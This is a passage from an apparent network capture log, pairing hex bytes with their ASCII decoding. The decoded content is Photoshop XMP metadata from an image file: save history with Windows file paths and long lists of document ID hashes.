67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 Data Ascii: T16:09:18-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel\Chosen\Crops\MIT-Travel_GettyImages-484264908_1080x1920.jpg saved 2017-12-11T16:11:16-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoR
2022-07-20 07:08:24 UTC	2317	IN	Data Raw: 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 30 37 34 39 32 34 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 31 34 3a 33 33 3a 35 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 47 72 61 6d 6d 79 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 38 30 37 32 34 33 30 5f 31 30 38 30 78 31 39 32 30 41 33 32 30 36 31 45 35 39 41 43 41 46 44 46 30 37 44 42 43 39 35 30 34 33 41 35 30 35 32 31 41 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 Data Ascii: GettyImages-580749241_1080x1920.jpg saved 2018-01-17T14:33:51-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-Grammys_GettyImages-578072430_1080x1920A32061E59ACAFDF07DBC95043A50521A.psb saved 2018-01
2022-07-20 07:08:24 UTC	2372	IN	Data Raw: 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 34 54 31 37 3a 34 33 3a 34 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 32 3a 31 32 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 Data Ascii: itEC99340B50F7D5720C969D4243149667.psb saved 2018-02-14T17:43:40-08:00 File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Portrait.psd saved 2018-02-15T12:12:44-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2018
2022-07-20 07:08:24 UTC	2595	IN	Data Raw: 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 31 54 31 31 3a 34 31 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 53 41 2d 45 75 72 6f 70 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 31 54 31 31 3a 34 31 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 53 41 2d 45 75 72 6f 70 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 Data Ascii: ed 2018-03-01T11:41:38-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-SA-Europe\CHOSEN\Crops.jpg saved 2018-03-01T11:41:59-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-SA-Europe\CHOSEN\Crops\MIT-Tr
2022-07-20 07:08:24 UTC	2611	IN	Data Raw: 64 66 3a 6c 69 3e 30 31 30 34 33 35 35 39 44 33 30 42 45 43 41 43 43 45 30 30 33 34 45 44 33 31 41 42 42 39 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 30 43 35 37 36 38 42 33 35 38 30 43 38 33 30 35 42 46 45 46 45 42 35 35 45 31 42 30 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 32 39 41 39 43 45 46 31 35 34 39 32 41 46 32 39 33 42 46 37 30 33 35 43 42 34 30 34 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 33 32 34 33 41 36 38 32 32 46 32 30 33 43 32 46 36 32 44 32 34 43 38 46 33 30 43 42 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 33 35 41 36 42 34 35 34 33 34 43 35 30 45 30 30 34 31 37 41 46 44 44 32 33 45 34 45 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>01043559D30BECACCE0034ED31ABB966</rdf:li> <rdf:li>010C5768B3580C8305BFEFEB55E1B0D6</rdf:li> <rdf:li>0129A9CEF15492AF293BF7035CB404B8</rdf:li> <rdf:li>013243A6822F203C2F62D24C8F30CB08</rdf:li> <rdf:li>0135A6B45434C50E00417AFDD23E4E3E</rdf:li> <rdf:li
2022-07-20 07:08:24 UTC	2667	IN	Data Raw: 38 42 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 43 37 33 35 33 43 41 30 37 41 34 44 38 34 30 30 39 41 39 31 32 39 38 42 42 46 37 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 46 44 46 34 38 32 32 44 45 33 39 41 36 36 41 33 43 36 32 31 32 36 33 45 36 45 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 32 33 44 33 42 35 32 39 46 42 32 44 46 36 42 35 46 30 36 31 32 45 46 46 41 37 43 42 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 32 37 32 38 33 46 33 39 45 46 39 36 37 43 31 31 41 36 35 39 46 42 31 34 36 39 39 33 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 33 30 39 30 38 37 38 38 38 30 33 42 38 43 30 37 36 32 32 33 30 31 33 32 31 43 35 44 43 33 3c Data Ascii: 8BCA</rdf:li> <rdf:li>0C1C7353CA07A4D84009A91298BBF788</rdf:li> <rdf:li>0C1FDF4822DE39A66A3C621263E6E95B</rdf:li> <rdf:li>0C23D3B529FB2DF6B5F0612EFFA7CB7F</rdf:li> <rdf:li>0C27283F39EF967C11A659FB146993BC</rdf:li> <rdf:li>0C30908788803B8C07622301321C5DC3<
2022-07-20 07:08:24 UTC	2794	IN	Data Raw: 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 35 36 46 44 30 46 32 43 34 30 30 42 37 41 32 32 32 39 31 31 33 37 39 46 45 43 38 42 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 36 32 46 32 45 41 41 32 43 45 41 37 30 33 35 31 38 35 34 41 42 30 43 30 37 45 32 30 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 36 33 32 36 31 39 45 41 39 44 36 37 45 38 33 34 30 31 43 44 46 46 44 31 32 35 30 34 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 36 35 44 33 45 41 45 46 41 33 45 32 33 46 31 44 39 38 46 41 44 42 44 44 34 46 43 44 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 37 35 43 35 45 34 45 34 30 31 46 35 37 32 46 44 45 45 32 31 45 36 37 33 34 35 32 38 45 31 3c 2f 72 Data Ascii: E5</rdf:li> <rdf:li>1156FD0F2C400B7A222911379FEC8BEF</rdf:li> <rdf:li>1162F2EAA2CEA70351854AB0C07E20D5</rdf:li> <rdf:li>11632619EA9D67E83401CDFFD125041A</rdf:li> <rdf:li>1165D3EAEFA3E23F1D98FADBDD4FCD4C</rdf:li> <rdf:li>1175C5E4E401F572FDEE21E6734528E1</r
2022-07-20 07:08:24 UTC	2873	IN	Data Raw: 42 39 31 31 36 45 39 32 41 31 36 36 38 33 43 36 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 42 34 36 46 32 32 37 46 31 44 35 46 44 35 31 42 38 33 45 41 32 38 45 39 35 33 41 45 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 43 44 43 31 35 31 41 31 37 34 38 38 46 31 34 32 44 45 34 35 32 38 31 32 44 38 30 34 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 44 36 35 34 34 30 44 31 37 41 41 38 35 32 35 33 38 34 33 42 46 42 46 33 35 33 30 38 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 45 44 41 38 32 31 42 36 39 35 38 32 34 33 33 38 36 44 37 32 37 43 34 34 36 37 37 35 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 46 36 30 44 32 36 33 39 44 44 45 39 43 39 44 42 41 Data Ascii: B9116E92A16683C61F</rdf:li> <rdf:li>1CB46F227F1D5FD51B83EA28E953AE36</rdf:li> <rdf:li>1CCDC151A17488F142DE452812D804AB</rdf:li> <rdf:li>1CD65440D17AA85253843BFBF353086D</rdf:li> <rdf:li>1CEDA821B6958243386D727C44677580</rdf:li> <rdf:li>1CF60D2639DDE9C9DBA
2022-07-20 07:08:24 UTC	2889	IN	Data Raw: 69 3e 32 38 34 44 38 31 32 37 35 37 33 31 35 38 38 39 30 38 31 30 31 35 39 45 34 38 30 32 46 42 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 35 34 46 39 34 30 32 32 35 39 44 41 41 39 41 31 33 43 30 33 32 34 30 32 31 38 45 32 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 35 41 32 30 45 39 39 39 46 45 36 31 44 43 45 35 41 36 35 41 36 32 44 32 33 44 46 46 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 36 36 31 35 30 46 41 34 45 37 45 43 39 31 45 36 41 30 34 37 44 41 39 43 38 30 30 41 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 36 41 32 42 31 41 35 41 42 35 35 32 33 38 45 30 33 37 42 34 32 41 32 39 31 39 36 37 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 36 Data Ascii: i>284D8127573158890810159E4802FB2F</rdf:li> <rdf:li>2854F9402259DAA9A13C03240218E2BD</rdf:li> <rdf:li>285A20E999FE61DCE5A65A62D23DFFF9</rdf:li> <rdf:li>2866150FA4E7EC91E6A047DA9C800A4A</rdf:li> <rdf:li>286A2B1A5AB55238E037B42A29196764</rdf:li> <rdf:li>286
2022-07-20 07:08:24 UTC	2953	IN	Data Raw: 32 38 31 35 38 39 30 32 37 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 39 43 36 45 46 44 44 44 44 34 45 41 46 43 33 32 32 34 44 44 31 44 34 34 35 35 32 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 41 33 33 44 30 35 46 31 30 46 35 30 31 35 37 35 38 38 38 31 31 37 37 36 38 36 34 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 42 31 36 44 31 38 44 38 33 39 35 37 39 35 33 32 33 37 35 41 35 31 45 42 31 41 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 33 44 39 39 30 30 45 35 32 36 35 35 32 35 36 42 46 31 33 34 45 31 30 34 38 38 32 45 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 33 44 46 45 35 31 32 30 35 41 37 31 38 45 33 31 34 38 45 38 37 45 45 38 Data Ascii: 2815890270F</rdf:li> <rdf:li>2D29C6EFDDDD4EAFC3224DD1D4455259</rdf:li> <rdf:li>2D2A33D05F10F501575888117768641D</rdf:li> <rdf:li>2D2B16D18D839579532375A51EB1A26C</rdf:li> <rdf:li>2D3D9900E52655256BF134E104882E3E</rdf:li> <rdf:li>2D3DFE51205A718E3148E87EE8
2022-07-20 07:08:24 UTC	3041	IN	Data Raw: 34 32 43 41 37 42 33 42 45 30 34 34 44 34 45 41 33 41 46 46 30 32 31 34 36 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 38 42 36 36 31 36 30 39 44 43 31 31 38 39 37 30 39 32 39 32 35 39 32 42 44 46 31 36 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 38 46 30 39 46 33 34 46 33 30 30 45 45 42 33 35 32 44 30 33 43 42 38 44 41 34 45 43 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 39 39 34 39 39 35 30 43 43 37 37 32 32 38 38 44 36 43 37 30 38 33 34 46 37 30 45 39 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 42 30 35 44 38 34 45 38 34 37 45 37 32 37 37 45 34 42 33 33 32 36 32 30 32 44 34 33 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 42 30 39 46 35 41 36 34 Data Ascii: 42CA7B3BE044D4EA3AFF021467C</rdf:li> <rdf:li>388B661609DC1189709292592BDF161B</rdf:li> <rdf:li>388F09F34F300EEB352D03CB8DA4ECD8</rdf:li> <rdf:li>389949950CC772288D6C70834F70E9D7</rdf:li> <rdf:li>38B05D84E847E7277E4B3326202D4305</rdf:li> <rdf:li>38B09F5A64
2022-07-20 07:08:24 UTC	3057	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 43 33 46 36 38 30 34 42 41 41 31 32 34 43 39 42 31 45 41 36 43 45 31 31 35 32 33 36 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 43 39 45 45 33 36 43 46 35 41 36 37 30 31 44 30 35 38 41 46 38 41 38 32 36 38 37 44 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 43 46 35 31 41 44 30 42 37 35 38 46 33 30 36 32 44 31 44 38 37 45 34 31 30 37 33 42 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 45 35 41 42 33 36 34 33 32 44 43 32 35 38 36 41 30 31 31 37 37 38 31 33 37 45 42 32 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 45 37 30 34 41 43 33 39 46 36 31 30 31 30 32 34 43 43 42 30 41 44 41 44 37 42 36 32 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: i> <rdf:li>43C3F6804BAA124C9B1EA6CE11523626</rdf:li> <rdf:li>43C9EE36CF5A6701D058AF8A82687D16</rdf:li> <rdf:li>43CF51AD0B758F3062D1D87E41073BE9</rdf:li> <rdf:li>43E5AB36432DC2586A011778137EB2A1</rdf:li> <rdf:li>43E704AC39F6101024CCB0ADAD7B62DB</rdf:li> <r
2022-07-20 07:08:24 UTC	3080	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 34 38 44 38 32 35 37 46 35 44 45 42 44 37 37 42 42 39 41 42 33 36 43 43 44 42 43 33 37 43 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 44 43 35 46 39 38 34 34 36 42 39 41 41 42 30 34 32 35 37 45 46 42 41 33 43 42 35 36 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 45 38 35 31 31 43 37 43 41 31 30 43 30 30 30 31 39 37 41 37 34 35 32 36 30 30 44 32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 45 39 31 43 37 43 33 39 35 37 43 34 41 34 35 37 43 35 45 33 36 39 32 31 39 35 44 44 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 46 33 41 44 30 39 32 39 38 37 34 45 45 45 44 33 31 34 44 36 39 43 37 44 30 37 34 33 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>48D8257F5DEBD77BB9AB36CCDBC37C6E</rdf:li> <rdf:li>48DC5F98446B9AAB04257EFBA3CB56A3</rdf:li> <rdf:li>48E8511C7CA10C000197A7452600D28C</rdf:li> <rdf:li>48E91C7C3957C4A457C5E3692195DDCE</rdf:li> <rdf:li>48F3AD0929874EEED314D69C7D074386</rdf:li> <rdf
2022-07-20 07:08:24 UTC	3096	IN	Data Raw: 44 37 30 31 44 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 32 34 46 46 32 32 36 44 32 36 45 43 44 46 36 42 37 44 34 36 35 36 43 35 32 31 34 34 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 32 39 45 44 41 38 32 42 35 45 32 38 43 35 36 35 39 35 44 39 33 42 33 30 33 46 36 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 32 43 32 32 33 38 35 36 41 35 37 34 32 30 31 36 43 35 30 37 37 42 44 34 33 39 44 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 33 34 41 30 37 43 45 35 41 32 44 39 39 36 35 43 33 41 43 37 46 34 30 38 35 33 30 41 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 34 35 31 46 33 34 33 38 43 32 39 45 32 33 38 46 30 30 36 32 39 31 30 38 32 33 35 43 Data Ascii: D701D9E</rdf:li> <rdf:li>5524FF226D26ECDF6B7D4656C5214466</rdf:li> <rdf:li>5529EDA82B5E28C56595D93B303F635F</rdf:li> <rdf:li>552C223856A5742016C5077BD439D80C</rdf:li> <rdf:li>5534A07CE5A2D9965C3AC7F408530A05</rdf:li> <rdf:li>55451F3438C29E238F00629108235C
2022-07-20 07:08:24 UTC	3112	IN	Data Raw: 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 42 46 35 31 31 43 45 30 30 31 46 32 41 32 42 35 34 46 30 46 33 32 33 45 37 43 42 42 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 43 38 35 30 46 43 32 46 32 39 39 37 46 31 34 32 37 33 42 36 41 33 30 46 41 31 32 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 43 46 37 31 46 37 36 31 43 46 33 45 41 44 44 30 45 46 32 46 39 35 45 32 38 43 39 37 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 44 36 41 44 33 34 36 35 46 46 41 35 39 32 33 34 38 38 33 44 38 43 38 43 38 36 33 37 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 45 31 32 46 34 45 45 30 45 33 31 41 36 43 44 43 38 37 41 36 33 38 43 33 31 33 36 32 39 43 3c 2f 72 Data Ascii: 4C</rdf:li> <rdf:li>61BF511CE001F2A2B54F0F323E7CBB78</rdf:li> <rdf:li>61C850FC2F2997F14273B6A30FA1201D</rdf:li> <rdf:li>61CF71F761CF3EADD0EF2F95E28C9738</rdf:li> <rdf:li>61D6AD3465FFA59234883D8C8C86377D</rdf:li> <rdf:li>61E12F4EE0E31A6CDC87A638C313629C</r
2022-07-20 07:08:24 UTC	3128	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 36 32 45 30 34 37 36 32 46 44 45 46 36 42 35 45 31 46 31 33 42 30 43 42 44 31 36 32 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 37 32 46 42 36 34 42 45 37 44 37 31 46 31 45 41 39 35 36 36 39 32 31 36 43 35 38 30 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 38 42 31 41 32 30 39 30 45 43 39 37 31 34 39 37 39 35 35 38 32 31 37 41 35 43 35 38 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 39 35 30 38 39 30 45 31 39 36 42 37 43 31 41 35 37 32 33 37 36 38 43 34 46 43 30 36 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 41 43 44 36 35 41 38 30 38 37 43 42 45 43 39 44 45 45 39 41 38 30 37 42 38 38 33 30 42 30 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>6762E04762FDEF6B5E1F13B0CBD16235</rdf:li> <rdf:li>6772FB64BE7D71F1EA95669216C580B2</rdf:li> <rdf:li>678B1A2090EC9714979558217A5C587D</rdf:li> <rdf:li>67950890E196B7C1A5723768C4FC0660</rdf:li> <rdf:li>67ACD65A8087CBEC9DEE9A807B8830B0</rdf
2022-07-20 07:08:24 UTC	3144	IN	Data Raw: 32 31 42 37 41 41 37 43 37 32 36 46 31 46 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 33 45 41 38 37 39 34 46 36 46 41 38 36 41 45 42 39 35 38 33 38 33 42 30 38 41 44 39 39 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 33 45 46 31 38 45 31 38 33 36 45 31 44 34 38 32 45 38 34 39 37 41 44 41 37 44 43 35 41 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 30 36 32 45 39 31 32 31 35 45 39 38 30 31 39 35 31 30 30 39 32 44 33 45 45 31 45 32 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 31 36 33 45 34 30 46 37 35 45 46 37 43 38 30 30 34 39 37 31 38 31 35 37 31 43 43 34 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 31 36 43 39 31 36 35 33 43 32 45 44 35 39 39 39 37 39 31 Data Ascii: 21B7AA7C726F1F4E</rdf:li> <rdf:li>73EA8794F6FA86AEB958383B08AD99F6</rdf:li> <rdf:li>73EF18E1836E1D482E8497ADA7DC5A3C</rdf:li> <rdf:li>74062E91215E98019510092D3EE1E20A</rdf:li> <rdf:li>74163E40F75EF7C800497181571CC468</rdf:li> <rdf:li>7416C91653C2ED5999791
2022-07-20 07:08:24 UTC	3160	IN	Data Raw: 37 46 43 33 39 45 38 37 30 38 31 44 43 31 38 30 38 31 46 31 32 41 33 44 31 42 41 32 33 43 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 46 44 43 33 30 46 43 30 36 42 31 41 44 42 41 45 37 34 39 31 39 31 33 34 36 32 42 39 44 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 46 45 34 35 34 32 38 45 33 41 42 31 43 37 35 33 35 35 34 35 45 41 35 36 31 36 31 35 35 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 46 46 30 43 31 43 39 33 36 36 30 45 32 44 39 32 30 42 43 37 42 42 35 38 41 37 30 30 34 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 46 46 36 30 39 37 45 43 45 42 41 46 46 45 43 37 36 30 41 38 39 43 31 31 34 30 46 35 43 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 46 46 38 44 Data Ascii: 7FC39E87081DC18081F12A3D1BA23CA7</rdf:li> <rdf:li>7FDC30FC06B1ADBAE7491913462B9D60</rdf:li> <rdf:li>7FE45428E3AB1C7535545EA561615565</rdf:li> <rdf:li>7FF0C1C93660E2D920BC7BB58A7004C6</rdf:li> <rdf:li>7FF6097ECEBAFFEC760A89C1140F5C65</rdf:li> <rdf:li>7FF8D
2022-07-20 07:08:24 UTC	3168	IN	Data Raw: 42 38 35 44 31 41 44 39 43 31 31 32 35 46 45 33 38 43 35 45 34 38 30 41 38 44 42 37 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 43 37 41 46 31 43 34 38 33 35 32 31 34 34 43 37 41 33 37 36 37 46 31 42 43 33 30 33 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 43 44 39 44 36 42 38 35 31 33 38 43 30 36 32 37 45 44 31 41 45 32 32 31 36 34 32 43 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 45 42 30 39 41 35 34 41 37 34 30 43 34 32 32 37 33 38 45 35 33 32 35 39 35 35 46 45 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 46 30 32 31 33 30 42 37 43 43 33 36 39 37 34 39 33 32 46 39 31 34 42 42 33 46 39 31 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 46 34 34 32 45 Data Ascii: B85D1AD9C1125FE38C5E480A8DB7E5</rdf:li> <rdf:li>84C7AF1C48352144C7A3767F1BC30321</rdf:li> <rdf:li>84CD9D6B85138C0627ED1AE221642C42</rdf:li> <rdf:li>84EB09A54A740C422738E5325955FEEC</rdf:li> <rdf:li>84F02130B7CC36974932F914BB3F9147</rdf:li> <rdf:li>84F442E
2022-07-20 07:08:24 UTC	3184	IN	Data Raw: 41 44 46 41 32 31 43 41 37 41 31 44 38 38 31 33 45 30 37 37 33 46 39 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 35 36 30 43 45 33 33 34 45 31 33 32 32 36 37 39 35 45 41 32 45 33 32 36 42 31 45 33 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 36 30 31 37 42 31 33 45 34 46 32 33 37 46 38 45 30 42 34 45 41 46 44 39 32 41 31 35 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 36 44 46 37 46 43 41 33 31 32 33 46 43 38 31 44 42 41 34 36 35 38 35 38 34 37 33 31 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 37 30 35 32 41 43 43 31 37 33 44 36 43 32 33 37 46 45 42 35 44 35 32 44 32 32 34 41 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 37 32 41 42 39 46 42 46 39 38 Data Ascii: ADFA21CA7A1D8813E0773F961</rdf:li> <rdf:li>8F560CE334E13226795EA2E326B1E374</rdf:li> <rdf:li>8F6017B13E4F237F8E0B4EAFD92A15F8</rdf:li> <rdf:li>8F6DF7FCA3123FC81DBA465858473157</rdf:li> <rdf:li>8F7052ACC173D6C237FEB5D52D224A55</rdf:li> <rdf:li>8F72AB9FBF98
